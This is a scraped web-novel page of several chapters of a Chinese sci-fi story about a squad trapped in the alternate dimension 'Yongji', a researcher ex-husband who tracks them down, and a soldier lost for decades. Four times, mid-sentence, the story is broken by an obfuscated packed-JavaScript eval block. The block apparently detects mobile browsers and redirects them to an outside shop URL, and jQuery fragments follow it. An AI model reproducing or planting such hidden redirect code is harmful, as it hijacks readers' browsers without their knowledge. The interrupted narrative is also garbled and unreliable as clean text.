;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669442|188629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在观测台。周围依旧大雾弥漫,能见度极低。她将自己的频率探查范围推到方圆五公里,什么都没发现。 她回过头,发现景叙阳站在旁边,显然是上来多时了。他也不说话,就站在那儿看着她。 夜聆枢有很多话想问他,碍于队员们在场一直没说出口。现在这里只有他们两人,她反而一句话都说不出来了。 景叙阳似乎知道她有很多话要说,摆出随时洗耳恭听的样子。 夜聆枢盯着他看了很久,憋出来一句:“你头发呢?” 景叙阳伸手理了下杂草一样的头发:“剪了。” 夜聆枢看着他那个狗啃一样的短发欲言又止。景叙阳的头发是她看着一点一点长长的,突然没了还真看不习惯。 景叙阳见她不说话,靠近说道:“关心完头发,是不是也得关心我一下?” 夜聆枢瞥了他一眼,转过去把胳膊搭在围墙上:“你又没有缺胳膊少腿,关心什么?” 景叙阳也不恼,一手搭上围墙,歪头看着她:“你不想问问我为什么来吗?” 夜聆枢懒得理他,把头偏到另一边。 ““灵锋”已经发布牺牲通告,上级不相信你们还活着,”景叙阳说,“所以不会有救援来的。” 和夜聆枢先前的猜测差不多,失联十五天判定牺牲。 “上级都不相信我们活着,你为什么还要来?” 她只知道景叙阳在研究上特别较真,没想到在这种生死大事上也是个犟种。 景叙阳微微一笑,似乎有些得意:“你藏在灵能频率里的信号,我看到了。” 夜聆枢心中一震:“你去技术部调数据了?” 景叙阳一副理所当然的样子:“你们上校为了说服我,给我开了个权限。我把你的灵能脉冲数据看了一遍,看见一大串“52095”。” “越是非同寻常,越要重点关注,你说对吧,夜少校。” 夜聆枢无话可说。灵能脉冲确实是她有意为之,希望引起外界注意,但那串数字没有多考虑,直接从脑子里蹦出来,她也没多想。 没想到技术部没察觉,让景叙阳给扒出来了。 这也没办法,毕竟灵能频率反复变动会被判定为设备故障。 “那你,怎么进来的?” 偷渡这个回答太笼统,传送门的把守有多严格夜聆枢是知道的。 “这个暂时保密,”景叙阳说,“你要是想立刻知道,也不是不可以。” 夜聆枢不懂他在卖什么关子:“说来听听。” 景叙阳朝她伸出手:“答应复合我就告诉你。” 夜聆枢抬手把他的胳膊推开:“爱说不说,少来这套。” 当初申请离婚的时候挺痛快,现在搁这儿搞深情来了。 “还有,我警告你,”夜聆枢严肃道,“不要在我队员面前提复合的事,不然我给你从队里扔出去。” 景叙阳浅笑:“好。” 他知道,夜聆枢动摇了。目的已经达到,该留的面子还是得给她留下。 夜聆枢突然想起来问他:“你……找到我们之前有没有受伤?” 景叙阳抬起胳膊:“没有,姜医生检查过了,我没事。” 夜聆枢抓紧袖子:“那你,怎么找到我们的?” “不是找到你们,是找到你,”景叙阳说,“我……” 欧冶一声大叫打断他的话:“队长!那个人醒了!” 5. 傻了 偷袭者被绑在一个箱子上,嘴拿布塞着。 他正瞪着眼看他们,一脸警惕惊慌。 夜聆枢在他面前蹲下:“问你几个问题,能好好回答就把嘴里的布给你拿开,不配合就一直塞着。” 他闭上眼,像是认命了。 “第一,你是谁。第二,你为什么会在异空间里。” 他盯着夜聆枢少顷,点了点头。 靳锬把他嘴里的布扯出来。 “我叫徐归尘,“破界”计划第六小队队员,”他吐字十分清楚,“我跟随小队进入19号异空间后,在任务结束撤离时与小队失联。” “破界计划?”靳锬觉得陌生,看向夜聆枢,“这是什么?” 夜聆枢皱起眉,又问道:“你是什么时候进入异空间的?” 徐归尘想了想:“我在这里,有一年了。” 夜聆枢闻言,眉间的皱纹刻得更深。 “你们是什么人?为什么会出现在异空间?”徐归尘反问道。 “我们是灵锋部队先锋小队,因为“永寂”的能量异动被困在这里。”欧冶回答。 “灵锋……”徐归尘思索着。 “队长,”蓝予澄拿着小型战术平板走到她身边,“我查到了数据库里的人员名单。” 他把内容投影到墙上,第六小队的人员名单里确实有一个叫“徐归尘”的人,名字后面标记失联。 夜聆枢看了之后,转过头问徐归尘:“你在异空间这一年都经历了什么?” 徐归尘组织了一下语言:“任务结束后,我们按照计划返回,空间突然发现扭曲,我和副队长与队伍失联。 “我和副队长在异空间到处寻找出口,又遇到了第二次空间扭曲,我们就失联了。 “之后我就一个人在异空间里到处行走。近一个月,一直停留在这个哨岗。” 夜聆枢点了下头:“明白了。理论上讲我们不是敌人,但出于谨慎考虑,暂时不能给你松绑,还请理解。” 欧冶留下一个机关,确保他不会逃脱。夜聆枢把所有人叫上二楼。 靳锬一上来就问道:“队长,破界计划到底是什么?” “破界是最早的异空间清剿计划,成立于三十年前。后来经过变更,现在的主力就是灵锋部队。”夜聆枢说。 “初代灵能枪就是为了破界计划研发的。根据记录,19号异空间是最早一批被清剿的异空间,这个人的失联记录也在那个时候,时间对得上。” “但是,”夜聆枢严肃道,“这是近三十年前的事,可他说自己进异空间只有一年。” “如果他的话属实,那么关于异空间,我们还有很多不知道的事情。”姜蝉说。 “是的,”夜聆枢说,“先前有人提出异空间之间可能有连接,但一直未被证明。异空间的时间流速,可能也和现实中不同。” “我们再去问问,说不定能再获得一些细节。” 他们回到一楼。徐归尘见他们下来,问道:“你们刚刚说,这里是哪个异空间?” “永寂。”夜聆枢答道。 “永寂……”他念着这个名字,“是19号的新代号吗?” “恐怕和你的认知有所不同,”夜聆枢说,“按照你的理解,它应该是零号异空间。” 最开始的异空间全部采用数字代号,按照发现顺序编号。“永寂”发现最晚,但是能量波动最强,所以被命名为零号。直到灵锋部队正式成立,才将其命名为“永寂”。 “那19号呢?”徐归尘很诧异。 “19号已经被清剿,现在未被清剿的异空间只剩下“永寂”,就是我们所在的这个。”欧冶说。 “所以,那么多异空间,全都被清剿了?”他有些震惊。 “那是,你当三十年的清剿计划白干啊?”欧冶说。 “三十年?”徐归尘更糊涂了。 “现在距离你进入19号异空间已经过去三十年,破界计划已经实施到最后阶段,只剩下“永寂”没有清剿。”夜聆枢说。 “所以,现实中,已经过去三十年了?”徐归尘更加震惊。 夜聆枢点了点头:“准确来说是二十八年。” 徐归尘低下头,喃喃自语道:“怎么可能……明明只有一年……我每天都有记录……” “进入异空间太久会影响感官和认知判断,这很正常。”姜蝉说。 “队长,情况已经问明白,要不要给前辈松绑?”靳锬问道。 夜聆枢点了下头,给靳锬使了个眼色。靳锬会意,给徐归尘套上一个手环,然后松绑。 “请原谅,前辈,”他说,“虽然知道了你的身份,我们还是不能对你完全放心。” 徐归尘活动了一下肩膀,点头道:“我理解。” 欧冶拿起他的枪:“前辈,你这枪上缺了个护目镜啊。” 徐归尘瞟了他一眼:“不是被你们打掉了吗?” 欧冶一听不干了:“你可别冤枉好人,我从地上捡起来的时候它就这样,不是我弄掉的。” “我知道不是你,”徐归尘用目光挨个扫过每个人,“是刚刚有人一枪打掉的,然后一发能量波把我震晕了。” 他把目光锁定在靳锬身上:“是你吧,你看起来最像狙击手。” “前辈好眼力。”靳锬承认道。 说话的工夫,天又黑了。 徐归尘点起火堆,众人围坐一圈。 “不知道你们有没有发现,这里的昼夜交替十分异常,没有固定时间,找不到任何规律。” 夜聆枢点了点头。他们早就发现这个问题,昼夜交替不能被预测。 景叙阳的眼睛一直盯在他脖子上那个吊坠上,黑色的石头表面光滑,时不时反光。 “前辈,”景叙阳开口,“方便问一下,您这个吊坠的来历吗?” 徐归尘低头一看,发现石头从衣服里掉了出来露在外面。 “这个啊,”他用手指拂过表面,“这是我第一次进入异空间时带出来的石头。那次任务很顺利,是破界计划首次完成异空间清剿。” “经过检查,这块石头没有问题,允许随身携带,我就一直当作吉祥物带在身边。” “您之前进入过很多异空间吗?”景叙阳又问。 徐归尘点了下头:“49号异空间是我第一个进入的异空间,也是破界计划中第一个清剿的异空间,这块石头也来自那里。” “后来我还进入了5 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669443|188629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 6号异空间和19号异空间,在最后一次进入19号时与队伍失联。” 欧冶“哇”了一声:“这么厉害啊前辈,那您的异空间任务经验肯定非常丰富!” 徐归尘摆了摆手:“我谈不上经验丰富,部队里有很多比我资历更老的。” “你们不用叫我前辈,都是异空间清剿任务的成员,大家是战友,叫我徐归尘就行。” 欧冶非常爽快地叫了一声“徐哥”。 姜蝉看向靳锬,调侃道:“欧冶真是自来熟,两天认了两个新哥。” “我已经习惯了。”靳锬淡淡地说了一句。 “您这块石头方便给我看看吗?” 景叙阳好像要和这块石头死磕到底。 徐归尘摘下来递给他:“你随便看。” 他们和徐归尘交换了一些信息,又聊了很久。夜聆枢想一个人静一静,离开众人来到二楼。 哨岗在黑夜里像一座孤岛,被吞噬在漫无边际的黑暗中。 她搓了把脸让自己清醒一些,把脑子里的东西从到尾梳理了一遍。 “聆枢,”景叙阳顺着梯子爬上来:“我有个发现要告诉你。” “什么发现?” 她对景叙阳的异空间治理理念持反对意见,但她毫不怀疑景叙阳的观察能力。 景叙阳走到她身边,露出一个意味不明的微笑。 “你亲我一下,我就告诉你。” 夜聆枢脸一黑:“爱说说,不说滚。” 景叙阳笑了一下:“我发现徐归尘那块石头有问题。” “说来听听。” “据他所说,那块石头来自49号异空间,被他进现实世界后,又带入56号和19号。” “但是石头上的印记显示,这块石头至少去过五个异空间。” 夜聆枢没听过这种检测:“什么印记?” “灵文院的最新研究成果,”景叙阳解释道,“每个异空间都有自己的标志,会在进入的物体上留下印记,通过符文检测能看出结果。” “能看出来自哪些异空间吗?”夜聆枢问。 “这个有点难,我只是做了个简单的鉴定,能得到一个大致的数目,要确定来自哪些异空间需要更多数据对比和分析。” 夜聆枢点了下头,思索道:“你的意思是,这块石头去过很多异空间,但徐归尘自己不知道。” 景叙阳表示赞同:“不只石头,他自己也去过很多异空间,只是作为能量体,异空间对灵师的印记很难检测出来。” “如果真是这样,那异空间之间很可能存在连接。” 夜聆枢觉得棘手。之前专家组讨论过异空间存在连接的假设,因为没有找到确凿证据放弃了。 “徐归尘说他遇到过两次空间扭曲,可能就是两个异空间的连接开启,”景叙阳说,“他和部队失联,应该是因为被分割到不同空间里。” “现在所有异空间都被清剿完毕,只剩下“永寂”,我们没法验证这个假设。”夜聆枢说。 “没法验证没关系,至少可以确定他是怎么来这里的。”景叙阳说。 夜聆枢突然想到一件事:“我有件事要问你,你进来的时候是我们失联的第几天?” 6. 改了 “第二十天。” 景叙阳记得很清楚,因为十五天期限一到,灵锋部队就发布了牺牲通告,隔了一天就开了追悼会,紧接着他去看了两天数据,和上校争论无果就自己来了。 “那你进入异空间后多久找到我们的?” 景叙阳想了想:“七十一个小时。” 就是三天。夜聆枢记得是进入的第28天碰见景叙阳,时间对得上。 “时间差说不定是空间扭曲导致的,”景叙阳看出她的困惑,“也可能是进入时间短,还没有体现出来。” 夜聆枢扶额:“如果找不到出口,我们恐怕也要变成活化石。” “不会的,”景叙阳把手搭上她的胳膊,“一定会出去的。” 夜聆枢抬头看着他,苦笑道:“你怎么这么自信?” “我相信自己,也相信你。” 景叙阳看着她,眼底似乎有光。 “之前的事,是我不好。我承认,进入“永寂”之后,我发现了很多和数据研究不一样的地方。”他如实说。 夜聆枢被他突如其来的认错给整不会了,一时不知该说什么。 “你清剿过那么多异空间,这次肯定也能化险为夷,”景叙阳看着她的眼睛,“你的实力我知道。” 夜聆枢很勉强地笑了一下:“好吧,谢谢你的信任。希望我们都能活着回去。” 景叙阳摩挲着她胳膊上的衣料:“所以,复合的事,能不能答应我?” 夜聆枢抿了下嘴:“看你表现吧。” 他们回到一楼,和众人讲述了这个推断。 徐归尘听了,回忆了一番:“很有可能。每个异空间的环境都有所不同,我这一年中确实见过好几种不同的环境。” “从什么判断环境不同?”夜聆枢问。 “土,”徐归尘说,“空间扭曲后我发现所处环境变化,开始收集土样。” “虽然我不是专业的土壤学家,但土的颜色和质地明显不同。” 他取来一个盒子,打开里面的纸包。很明显能看出几包土的颜色不同,有偏白的,有偏红的,有很明显的黄土。 “这么说,以前失联的队员可能还活着,也在“永寂”?”靳炎说。 “有可能,”夜聆枢又问徐归尘,“你在这里见过其他人吗?” 他摇了摇头:“别说人,我连怪物都很少见,只见过两次白纸蝙蝠。” 夜聆枢听了,皱起眉头:“看来“永寂”还有很多秘密,它比我们想象中复杂的多。” “这话说对了,”景叙阳说,“灵文院到现在都没有真正解读异空间的符文,只是略知大意。” 徐归尘眯了下眼:“灵文院?那些搞符文研究的?” 景叙阳从他的表情中看出一些不屑:“正是,徐先生有什么见地?” 徐归尘拿起铁钳捅了捅火堆里的燃料:“没什么见地。没想到灵文院还活着呢。” 景叙阳闻言,压了下眉头:“此话怎讲?” “灵文院就是研究符文的,这东西都老得掉渣了,根本派不上用场,跟古文字没什么区别。”徐归尘放下手里的铁钳。 “不知道为什么把灵文院的人也划入灵师行列,明明也不上战场,倒是更像历史学家。” 景叙阳嘴角挂着微笑:“看来徐先生对符文有一些了解。” 夜聆枢看了他一眼,知道他有点不高兴。 “有一些,但不多。我记得我刚进部队那个时候,就有人说要取缔灵文院的灵师身份,结果又没这么做,好像是有新发现还是怎么的。” “有人说符文会对战斗有帮助,我就不信。那群文人怎么上战场,枪都提不动。” 景叙阳轻笑一声。 夜聆枢听见他这动静,知道是生气了。 徐归尘被他的反应搞得莫名其妙:“你笑什么?” “没什么。我只是想告诉徐先生,别急着下决断,免得以后打脸太疼。” 徐归尘上下打量他一番:“你是灵文院的?难怪,看着还没你们队里那男孩结实。你一个搞研究的跑到异空间来做什么?” 夜聆枢一把按住景叙阳,抢先回答道:“符文研究已经投入应用,他是部队特聘的技术指导,特批随队。” 徐归尘盯着两人看了一阵,叹了口气:“我真是跟不上时代了,没想到外界的研究已经发展到这种地步了。” 欧冶说:“没事,徐哥,等回到现实,你可以慢慢补上。” 景叙阳看了夜聆枢一眼。她拿走按在他手臂上的手,好像什么事都没发生过一样。 他暗地里勾了下嘴角。 众人休整一夜,天明时动身准备离开。 夜聆枢整理好装备:“我们要继续寻找出口,你什么打算?” 他们已经确定徐归尘是友军,夜聆枢想试探一下他的去留意向。 “我留在这里也是等死,”他说,“如果你们不介意,可以带上我吗?我是狙击手,不会拖后腿。” 夜聆枢看向队员们,大家都表示同意。 多个人就多个脑子,多一条活路。 她又看向景叙阳。他似乎有些诧异,随后点了点头。 欧冶突然“哎”了一声:“有个问题要解决!” 他指着徐归尘靠在墙上的枪:“徐哥这枪不行。太,重,了!” 徐归尘看着自己那把老枪,又看了一眼他们的枪:“我这是二代枪,已经是当时最好的设备了。重是重了点,威力还可以。就是子弹剩的不多了,得省着用。” 欧冶摇了摇头:“现在的枪都不填子弹了。” 徐归尘十分震惊:“已经这么先进了!” “这枪缺了瞄准镜,又很笨重,肯定不实用。” 夜聆枢说着,看向景叙阳:“不然,你把你的枪给他。” 景叙阳带的装备是夜聆枢备用的那套,里面有一支制式灵能枪。 夜聆枢想着景叙阳不太会用枪,不如给徐归尘。 景叙阳摇了摇头:“我的枪他用不了。” 夜聆枢只当他还为徐归尘的话生气,眉头一皱:“你没受过训练,别任性。” 欧冶拍拍胸脯:“不用景哥的枪,我给徐哥把枪改了就行。” 他一步跨到墙边,“嘿咻”一下提起枪,放在一旁的箱子上仔细查看。 “怎么样,能改吗?”徐归尘不太相信这个大大咧咧的年轻人。 “放心好了,我可是高级机械师,”欧冶把自己的工具包往那里一放,转头对夜聆枢说,“队长,能给我多长时间?” “最多一个小时。” “好嘞。”欧冶二话不说就开工。 几人重新坐下来,规划下一步的去向。 “根据地图,我们应该已经到达边界附近,”靳炎说,“但是似乎并没有什么变化。” 夜聆枢点了点头:“我探测过附近,和之前没有区别。” 她盯着地图:“或许我们得换个思路。” “队长,你的意思是向核心区走?”靳炎问道。 夜聆枢点了点头:“但是这很冒险,我们至今不知道“永寂”的核心区域有什么。” “说实话,我们就算真的到了边界,恐怕也出不去。”姜蝉说。 “进入异空间的传送门有大型装置提供能量,传送门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669444|188629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关闭后,异空间就是铁桶一个,根本没有突破口。” “更何况我们已经和总部失联,没法确定传送门的坐标。” “其实还有个问题,”景叙阳补充道,“技术部检测到异空间能量暴动,短时间内不会开启传送门。所以一味的找边界和等死没什么区别。” 夜聆枢沉默不语。她知道这里危机四伏,在失联的情况下更是困难重重,但她还是希望能把队员们活着带回去。 靳炎看着她:“队长,我们就赌一把吧。” “之前清剿异空间,都是深入核心摧毁能量源头,说不定到核心区我们会有新发现。” 夜聆枢想了想,点点头:“那就赌一把。” 一阵叮叮当当稀里哗啦之后,欧冶大喊一声:“改完啦!” 他端着枪跑过来,递给徐归尘。 “试试看趁不趁手。” 徐归尘接过枪,发现轻了许多。 “这枪实在是太老,没法应用灵能雷达和转换器,我就拿我的备用枪装上了你的输入器,然后改成了类似原枪的样子。”欧冶挠了挠头,解释道。 “我觉得这样比较符合你的使用习惯,你试试看。” 徐归尘端起枪,下意识地找瞄准镜,意识到没有之后对着远处开了几枪。 不用子弹,没有前后摇,声音极小。 真是太高级了! “怎么样?”欧冶站在门口看他试枪。 “很顺手,谢谢老弟。”他拍了拍欧冶的肩膀。 一行七人浩浩荡荡上路,这次的目标是核心区。 夜聆枢启用谛频,随时侦查周围环境的异动。 他们最接近核心区的那次遭遇了大批白纸蝙蝠袭击,力量和数量都极其惊人。远离核心区后蝙蝠数量显著减少,她怀疑核心区里有更多危险。 他们离开哨岗三个小时,无事发生。 “原地休整。” 姜蝉一眼看到夜聆枢发白的嘴唇,按住她肩膀:“你是不是又谛频了?” 夜聆枢关闭能力,长长出了口气:“我只用了一点灵能,消耗不大。” 姜蝉往她手里塞了颗药:“别逞强了,嘴都白了。” 夜聆枢吞下药:“什么也没发现。” “这很正常,异空间基本上都是一片荒地,只有核心区有东西。”徐归尘说。 “话说回来,你是谛频者?”他看着夜聆枢。 她点了下头。 “和我一起与部队失联的副队长也是谛频者,”徐归尘回忆道,“他是部队里谛频能力最强的人,帮助我们化解了许多危机。” “这个能力在部队里不算很稀见,”夜聆枢说,“在异空间比较有用而已。” 景叙阳看着她,不动声色地想,谛频不稀见,但你的能力比别人要更复杂一些。 “我们现在位于这个位置,距离核心区还有很远。”靳炎点着地图。 他们向边界处走了太久,再返回核心区又需要很长时间。 “现在没有退路了,继续前进。”夜聆枢说。 刚走出几公里,夜聆枢突然察觉到一丝异样,停住脚步。 “怎么了队长?”靳炎的声音从队尾传来。 她展开谛频,半分钟后收回,转头问道:“你们有没有感觉什么地方不对劲?” 众人一脸茫然。 夜聆枢只当是自己多虑,刚迈出半步,地面毫无征兆地开始剧烈摇晃。几人立马降低重心保护身体。 地震的幅度和频率迅速增大,平整的土地裂开缝隙,越来越狰狞。徐归尘心中一震,大声喊道: “扭曲!是空间扭曲!” 7. 变了 脚下的地面骤然被撕裂。夜聆枢身形一晃,手臂上一股大力把她扶住。 “快走!”景叙阳拉着她就跑,小队的四人也以最快的速度远离裂隙。 徐归尘反常地站在原地,对着他们喊道:“不用费劲了!空间扭曲逃不过的!” 仿佛是在验证他的话,一道裂痕有预料般横在他们眼前。 几人脚步一顿,下一秒四周地面全部裂开,错开断裂的地层。他们站的地方一下变成了孤岛。 夜聆枢看着宽到无法跨越的裂痕,心里一沉。深不见底的裂缝张开大口,就要吞噬他们。 不能就这么结束,总得拼一把! “钩爪!甩到对面去!” 钩爪刚脱手,脚下的地面骤然坍塌。 失重感一下子把整个人包裹,夜聆枢只感到有人扯了她一把,随后脑子里只剩下强烈的失重感。 眼前的最后一个画面是逐渐变小的缝隙。那里透出了外面的光,其余视野里一片漆黑。 蓝予澄感觉身上又凉又湿,动了动手指。 手掌上的湿凉滑腻让他瞬间惊醒。他睁眼一看,自己躺在水里,手下是一块长满青苔的石头。他坐起来张望四周,发现是条小溪,似乎在山里。 他摸到装备完好无损地背在身上,松了口气。 他从水里爬出来,大声喊道:“队长!炎哥!” “蝉姐!冶哥!” “有人吗!” “有人吗!” 山里寂静无声,无人回应。 越是寂静,自己的心跳就越显得剧烈。蓝予澄几乎能听到自己胸腔里的敲击声,一口气堵在胸口,上不去下不来。 “与年龄无关,实力决定一切。” 这是夜聆枢跟他说过的话。 先锋小队不能认输,不能逃避。 他长长吐出一口气,平缓下心跳,撩起水洗了把脸,决定顺着溪流往下走。 溪水把他引到山下的一处村庄,远看没什么问题,走近了居然没有听到一点声响。 蓝予澄有些迟疑:“有,人吗?” 他吸了口气,大叫一声:“有人吗!” 隐约有回声传来。他以为没有结果时,远处传来中气十足的一声:“有!” 蓝予澄一听是欧冶,往声音传来的方向跑去。 “真是你啊,小澄!” 一见面,欧冶激动地抓着他摇了好几下。 “我一路找过来都没人,还以为要和你们失散了!幸好幸好!” “这么说你也没见到队长他们?” 欧冶嗯了一声:“不过没关系,起码我们两个汇合了,肯定有希望找到他们。” 有队友在身边,蓝予澄安心了不少。 他们在村子里找了一大圈,根本没有夜聆枢等人的踪影。 “小澄,你在什么地方醒来的?”欧冶问道。 “在山上的小溪里,我顺着溪流找到了这个村子。”蓝予澄指向自己来的方向。 欧冶思考一番:“我是在附近的矿坑醒来的,跟着矿石碎屑走到村里。” 他抬头向村庄四周看了一圈:“队长他们会不会在村庄的不同方位?” 蓝予澄隐约听见什么声音:“冶哥,你仔细听,好像有声音。” 欧冶立马竖起耳朵,果然,有一个声音从很远的地方传来。 “是咱们的人吗?”蓝予澄突然警惕起来。 “不知道,这个声音似乎没听过,先躲一躲。” 欧冶带蓝予澄躲到一垛秸秆背后。 “冶哥,躲这里安全吗?” “放心,”欧冶盯着声音传来的方向,“有人靠近咱俩就躲秸秆堆里面。” 蓝予澄:??? 那个声音逐渐靠近,听起来已经进了村庄。欧冶仔细辨认了一番,确认是不熟悉的人。 “小澄,我给你扒拉个豁,你快躲进来。”欧冶说着就要动手扒拉秸秆。 蓝予澄仔细辨认那个声音:“等一下冶哥,你听这个声音……是不是在叫队长的名字?” 欧冶一顿,再一听那个声音,似乎在叫“聆枢”。 “聆枢!聆枢!夜——聆——枢——” 欧冶挠了挠头:“好吧,可能……是景哥……” 他重新蹲下:“我们再看看,不急着下结论。” 景叙阳在村庄里转了一圈,喊的嗓子都快哑了也没见着人。原路返回的时候,看见秸秆堆晃了一晃。 秸秆堆后面传来一个人声:“冶哥,你别动。” “我没动啊。” 景叙阳听出是欧冶的声音,走过去一看,两个人鬼鬼祟祟地蹲在地上。 他有些好笑:“你们在这儿干嘛?” 欧冶一看是景叙阳,放心下来:“真是你啊景哥。我们不知道来人是谁,先躲一躲。” 景叙阳伸手给他,欧冶借力站起身。 景叙阳笑道:“这种躲藏可不高明。” “景哥,你见到队长他们了吗?” 景叙阳摇摇头:“没有,我在一个石碑旁边醒来,跟着一路石碑找到了村子。” “小溪、矿坑、石碑……”欧冶试图思考其中的联系,发现建立不了任何联系。 景叙阳拿出一个罗盘,在手里转来转去。 “景哥,你在干嘛?” 罗盘是他们装备里的必备物件,但是这东西在异空间派不上用场,他们用的是特制的方向指示器。 “我在找你们夜队。”他盯着罗盘上的指针。 两人盯着罗盘的时候,蓝予澄瞥见一个白影晃过去。 “冶哥,你看那边!” 欧冶左看右看,什么也没看见:“怎么了?” 蓝予澄抓紧手里的枪,警惕地盯着那个方向:“我刚刚看到一个白影。” 景叙阳闻言收起罗盘,把枪拿在手里。 迎面吹来一股风,温度明明不低,却让人一阵寒意。 “这里不会,有人吧?”欧冶转过身盯住后方。 景叙阳用手肘轻轻碰了他一下:“嘿,看那边。” 欧冶一扭头,“妈呀”一声叫出来。 一个披头散发的白衣人在对面出现,衣角垂地,整个人悬浮一样缓缓飘过来。 欧冶抬手就是一炮,“轰”一下把那个鬼打到对面的墙里。 “真是大白天见鬼。”欧冶看着嵌在墙里的白衣鬼,嘟囔了一句。 白衣鬼突然把手臂从墙里拔出来,双臂一压,一团灰色的东西呼得一下腾空而起。 他们一抬头,对面的房顶上站了一只灰黑的大鸟,目若磷火,钩嘴与利爪雪白。 怪鸟刚一抬翅膀,欧冶就给了它一炮。灰黑色的羽毛翻飞,伴随着一声嘶哑的鸟鸣。 “啊?怎么没反应?”欧冶看怪鸟稳稳站在房顶,又给了它两炮。 灰黑的羽毛簌簌落了一地。怪鸟一个振翅冲上天空,压下单翅一个回头,朝三人俯冲下来。 蓝予澄立刻开枪,配合欧冶的轻型炮攻击。怪鸟挨了几下,飞向高空,在他们头顶盘旋。 三人背靠背守住四周,欧冶盯着怪鸟,嘴里念叨着:“这什么东西啊,还能化形。” 景叙阳闻言,思索道:“羽毛灰黑……目若磷火……钩嘴与利爪雪白……” 他猛然抬头:“罗刹鸟!” 话音刚落,一个刺耳的声音从空中传来,另一只怪鸟赫然出现在天空。两只怪鸟此起彼伏地发出怪叫,突然把头一压,俯冲下来。 欧冶提起炮筒就是一通打,这次两只怪鸟学精了,频频躲过攻击。蓝予澄帮助欧冶围追堵截,打了一通,只落下些鸟毛。 “怎么感觉突然变快了?”欧冶的炮不能一直连击,打出十炮就得充能一次。 怪鸟看他们停下攻势,怪叫一声俯冲下来。蓝予澄瞄准鸟头,一枪打在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669445|188629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只的额头。怪鸟扭头的空档,他再补上一枪,打爆鸟眼。 它大叫起来,声音震耳欲聋。 另一只还要攻击,景叙阳突然开枪打在它侧颈。这对它没什么伤害,反而拉来了仇恨。欧冶正好完成充能,跟上几炮打在怪鸟翅膀上。 两只鸟负了伤,飞上屋顶停了片刻,扬翅向远处飞去。 “终于走了,”欧冶松了口气,往地上一坐,“让我歇会儿。” 他的炮威力强大,对应的消耗也很大。 景叙阳看到地上有个亮晶晶的东西,走近了蹲下来看。 蓝予澄发现他蹲在那儿研究地上的东西,上前问道:“景,景先生,你在看什么?”他 不好意思和欧冶一样直接叫哥。 “你看这个。”景叙阳从地上捡起来个东西,吹了吹土,放在手心给他看。 一个残缺的半球体躺在他手心,这东西表面沾了土,没沾土的地方能看出来是透明的。 “这是,什么?” “如果我猜的没错,应该是那怪鸟的晶状体。” “刚刚你一枪打爆鸟眼,晶状体被打碎飞出来了。” 这个答案让蓝予澄很震惊,景叙阳接下来的操作让他更诧异。 景叙阳拿出一根笔,拔开一头的笔帽,露出一根银针,刺进这个东西里。 光芒从针尖向上蔓延,笔杆上的暗纹慢慢发光突显出来,那块晶状体开始萎缩变小。蓝予澄看向景叙阳的脸,他面无表情,平静得可怕。 他默默地回到欧冶身边。 “景哥在那儿干嘛呢?”欧冶问。 “他……”蓝予澄不知道该怎么回答,“冶哥,灵文院是研究巫术的吗?” 欧冶一头问好:“嘎?” 他抬头看过去。景叙阳站起身,甩了甩手,将笔收进胸前的口袋,然后拿出一块方巾,优雅地擦了擦手。 他似乎察觉到了欧冶的目光,转过头来,冲他一笑:“怎么了?” 其实没啥,但是怎么就有一种诡异的感觉呢? 一片杂乱的声音从空中传来,他们抬头一看,数只怪鸟扑着翅膀飞到村庄上方,一边怪叫一边盘旋。 “这么多!”欧冶一下子从地上站起来。 蓝予澄端起枪:“冶哥,眼睛似乎是它的弱点,试着打眼睛。” 欧冶又来了精神,端起炮筒。 一群灰鸟呼啦啦地压下来,紧紧挤在一起,他一下没了目标,只能瞄准白色的鸟喙,试图打中鸟头。 才开了四炮,他就有些体力不支,被迫放下炮筒等待充能。 一大群鸟一起扑来,瞄准难度瞬间上升。蓝予澄频频开枪,只有几枪打在眼眶上。残败的羽毛在空中乱飞,硬是没有一枪打中眼睛。 景叙阳抬起枪,没有瞄准直接对着怪鸟开枪,紧接着一声惨叫一只鸟失去平衡。景叙阳再跟上几枪,鸟群瞬间混乱,没被打中的和被打中的乱作一团。 